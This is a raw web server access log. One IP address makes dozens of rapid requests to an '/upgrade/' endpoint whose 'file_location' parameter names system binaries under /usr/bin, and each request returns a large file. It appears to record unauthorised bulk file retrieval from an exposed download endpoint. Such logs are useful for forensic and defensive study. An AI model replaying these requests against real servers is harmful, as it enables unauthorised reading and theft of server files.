45.135.193.11 - - [11/Sep/2026:22:47:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fglib-mkenums&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 105289 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fglib-mkenums&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-run&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 121983 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-run&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgrub2-glue-efi&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 197752 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgrub2-glue-efi&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Floadunimap&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 107938 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Floadunimap&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Frnano&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 273085 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Frnano&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-creds&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 112600 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-creds&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-path&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101388 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-path&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgneqn&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96259 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgneqn&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fhex2hcd&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101752 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fhex2hcd&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fjq&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 106214 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fjq&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpkla-admin-identities&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103791 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpkla-admin-identities&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fps2pdf12&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95780 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fps2pdf12&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Frpmkeys&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100288 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Frpmkeys&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fscript&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 117162 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fscript&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fenv&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 114190 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fenv&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffc-cache-64&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102778 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffc-cache-64&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffio_jsonplus_clat2csv&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100603 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffio_jsonplus_clat2csv&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftsql&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 213843 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftsql&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fusleep&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99996 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fusleep&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fx86_energy_perf_policy&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 110047 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fx86_energy_perf_policy&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fzegrep&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95824 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fzegrep&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffc-cat&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101434 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffc-cat&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgetkeycodes&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100990 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgetkeycodes&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpkttyagent&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102683 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpkttyagent&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpod2html&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97286 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpod2html&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpygettext3.9.py&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103961 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpygettext3.9.py&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsleep&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 107955 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsleep&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb_config&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100737 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb_config&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmd5sum&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 112191 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmd5sum&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmdb_stat&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101162 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmdb_stat&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnf-monitor&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100422 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnf-monitor&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Frecode-sr-latin&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102013 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Frecode-sr-latin&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbtmgmt&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 175536 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbtmgmt&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnamei&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103634 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnamei&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fneqn&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96285 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fneqn&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fps2pdf14&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95828 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fps2pdf14&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Frvi&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 821668 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Frvi&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwireplumber&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102777 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwireplumber&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwmf2gd&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102057 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwmf2gd&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fg13&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 145442 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fg13&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgcc&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 498247 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgcc&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-pktloc-lookup&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100638 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-pktloc-lookup&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpgrep&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 108480 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpgrep&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftset&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 105904 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftset&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Funame26&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103211 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Funame26&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdistro&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96036 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdistro&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffwupdmgr&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 159194 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffwupdmgr&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fosinfo-db-import&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 105812 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fosinfo-db-import&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fprezip&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97954 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fprezip&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpwdx&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100988 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpwdx&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsetfont&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 120021 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsetfont&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fuuidgen&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101718 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fuuidgen&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:22 -0400] "GET /upgrade/?full_path=%2Fusr%2Fbin&location=%2Fusr%2F HTTP/1.1" 200 6686 "http://163.245.207.76:443/upgrade/?full_path=%2Fusr%2Fbin&location=%2Fusr%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Faria_pack&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 1269343 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Faria_pack&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnm-online&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103276 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnm-online&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnmtui-edit&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 376591 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnmtui-edit&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdisplay&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99101 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdisplay&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcentrino-decode&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 98451 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcentrino-decode&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgtbl&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 155091 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgtbl&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb-dump&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 1037333 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb-dump&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpsfxtable&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 106929 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpsfxtable&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsensors&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 108110 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsensors&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
